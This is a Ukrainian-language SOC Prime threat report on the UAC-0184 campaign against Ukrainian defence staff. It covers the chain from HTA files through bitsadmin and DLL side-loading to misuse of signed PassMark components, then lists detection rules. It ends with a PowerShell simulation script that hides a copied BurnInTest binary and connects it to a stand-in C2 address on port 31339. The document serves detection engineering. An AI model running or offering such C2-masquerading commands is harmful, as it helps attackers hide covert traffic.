SOC Prime Bias: Критичний

19 May 2026 13:14 UTC

UAC-0184: Від HTA до підписаного мережевого стека

Author Photo
SOC Prime Team linkedin icon Стежити
UAC-0184: Від HTA до підписаного мережевого стека
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

У звіті окреслено багатоступеневе вторгнення, спрямоване на українських оборонних співробітників, яке починається з шкідливих HTA-файлів, що доставляються через bitsadmin і LNK ярликових файлів. Шкідливе навантаження інсценовано всередині ZIP-архіву, потім використовується DLL-дія з компонентами Plane9 та користувацькими методами декодування, включаючи XOR та LZNT1, для розпаковування підписаних інструментів, таких як PassMark Endpoint разом із шкідливим input.dll. Мережева активність маскується за допомогою UDP-мультікасту на порту 31339. У проаналізованих зразках не було виявлено статичного зовнішнього сервера команд і управління.

Розслідування

Аналіз ланцюга доставки, заснованого на HTA, виявив bitsadmin команди, які завантажували ZIP-архів, що містив Cluster-Overlay64.exe та відповідні DLL-файли. Переверсна інженерія виявила послідовність завантажувача, яка виділяла filter.bin and kernel-diag.lib, декодувала їх, а потім завантажувала evr.dll. Останній етап висипав VSLauncher.exe разом з підписаним PassMark input.dll, що дозволяло UDP-мультікаст та TCP-комунікацію через порт 31339. Нападники спиралися на підписані двійкові файли та легітимні кодові підписи для зменшення підозри та уникнення виявлення.

Пом’якшення

Захисники повинні блокувати виконання mshta.exe та запобігати bitsadmin від завантаження контенту з недовірених джерел. Моніторинг має зосереджуватися на LNK-файлах, що містять bitsadmin рядки команд та тимчасові імена файлів, що починаються з ~tmp. Служби безпеки також повинні виявляти підозріле DLL-дісайтлодування, що включає Plane9Engine.dll or openvr_api.dll. Сповіщення мають бути налаштовані для UDP та TCP-трафіку на порту 31339 з хостів, які зазвичай не використовують програмне забезпечення PassMark. Рекомендується список дозволених додатків для VSLauncher.exe і перевірка на наявність несподіваних input.dll файлів у System32 or SysWOW64 шляхах також рекомендована.

Відповідь

Якщо виявлено пов’язану активність, негайно ізолюйте уражену систему, зберіть летучую пам’ять та випущені файли, і проведіть судово-медичний аналіз розгорнутих утиліт. Шукайте в середовищі інші хости, що показують ті ж самі артефакти LNK, шаблон звантаження DLL чи поведінку UDP-мультікасту. Видаліть усі шкідливі файли, відкличте будь-які скомпрометовані сертифікати, якщо це застосовно, та скиньте облікові дані, пов’язані з ураженими обліковими записами. Зміст виявлення потім слід оновити, використовуючи вилучені індикатори.

Потік атаки

Виявлення

Підозріле завантаження файлу з прямої IP-адреси (через проксі)

Команда SOC Prime
19 травня 2026

Підозріле оборона уникнення LOLBAS MSHTA через виявлення пов’язаних команд (через створення процесу)

Команда SOC Prime
19 травня 2026

LOLBAS Bitsadmin (через cmdline)

Команда SOC Prime
19 травня 2026

Виклик підозрілих .NET-методів з Powershell (через powershell)

Команда SOC Prime
19 травня 2026

Архів було розпаковано у підозрілий каталог за допомогою Powershell (через powershell)

Команда SOC Prime
19 травня 2026

IOC (HashSha256) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека

Правила AI SOC Prime
19 травня 2026

IOC (SourceIP) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека

Правила AI SOC Prime
19 травня 2026

IOC (DestinationIP) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека

Правила AI SOC Prime
19 травня 2026

Підозріле виконання PowerShell для шкідливих навантажень [Windows Powershell]

Правила AI SOC Prime
19 травня 2026

Виявлення шкідливого перепризначення мережевого трафіку PassMark [Windows Network Connection]

Правила AI SOC Prime
19 травня 2026

UAC-0184 Злісна доставка та виконання HTA через bitsadmin та mshta [Створення процесів Windows]

Правила AI SOC Prime
19 травня 2026

Виконання симуляції

Передумова: перевірка готовності телеметрії та базового лінії повинна пройти.

Мотив: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP та мають на меті генерувати точну телеметрію, очікувану виявною логікою. Абстрактні або не пов’язані приклади призводять до помилкової діагностики.

  • Наратив атаки та команди:
    Супротивник отримав копію PassMark BurnInTest.exe (легітимний інструмент для бенчмаркінгу) та перепризначив його для дії як прихований клієнт управління. Виконуючи двійковий файл з користувацькими аргументами, він відкриває TCP-з’єднання до сервера, контрольованого атакуючим, на порту 31339. Оскільки журнал брандмауера реєструє ім’я програми (“PassMark BurnInTest”), фільтр правила виявлення фільтр клаузула (продукт|містить: "PassMark BurnInTest") є уникнений, що дозволяє позначити трафік як підозрілий. Кроки такі:

    1. Скопіюйте законний виконуваний файл BurnInTest у прихований каталог.
    2. Виконайте його з аргументами, які примушують мережне з’єднання з IP-адресою C2 (наприклад, 192.0.2.55) на порті 31339.
    3. Тримайте процес у роботі досить довго, щоб брандмауер зареєстрував вихідне з’єднання.
  • Сценарій регресійного тесту:

    # -------------------------------------------------
    # Повторне призначення PassMark BurnInTest для прихованого трафіку C2
    # -------------------------------------------------
    $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe"
    $hiddenDir   = "$env:ProgramData.temp"
    $c2IP        = "192.0.2.55"
    $c2Port      = 31339
    
    # 1. Переконайтеся, що прихований каталог існує
    if (-not (Test-Path $hiddenDir)) {
        New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null
        # Hide the folder
        (Get-Item $hiddenDir).Attributes += 'Hidden'
    }
    
    # 2. Скопіюйте двійковий файл (імітація копії, що належить нападнику)
    $copiedExe = Join-Path $hiddenDir "BurnInTest.exe"
    Copy-Item -Path $burnInPath -Destination $copiedExe -Force
    
    # 3. Запустіть двійковий файл для створення TCP-з'єднання з C2
    #    (Припускається, що BurnInTest підтримує перемикач /net – це ілюстрація)
    $args = "/net $c2IP $c2Port"
    $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru
    
    Write-Host "PassMark BurnInTest запущено (PID $($proc.Id)) – трафік C2 має з'явитися у журналах брандмауера."
    # Keep the process alive for 30 seconds to ensure logging
    Start-Sleep -Seconds 30
  • Команди очищення:

    # -------------------------------------------------
    # Очищення після симульованої діяльності PassMark BurnInTest
    # -------------------------------------------------
    $hiddenDir = "$env:ProgramData.temp"
    
    # Зупиніть будь-які залишкові процеси BurnInTest
    Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Видаліть прихований каталог та його вміст
    if (Test-Path $hiddenDir) {
        Remove-Item -Recurse -Force $hiddenDir
    }
    
    Write-Host "Очищення завершено – жодних залишкових двійкових файлів або процесів BurnInTest не залишилося."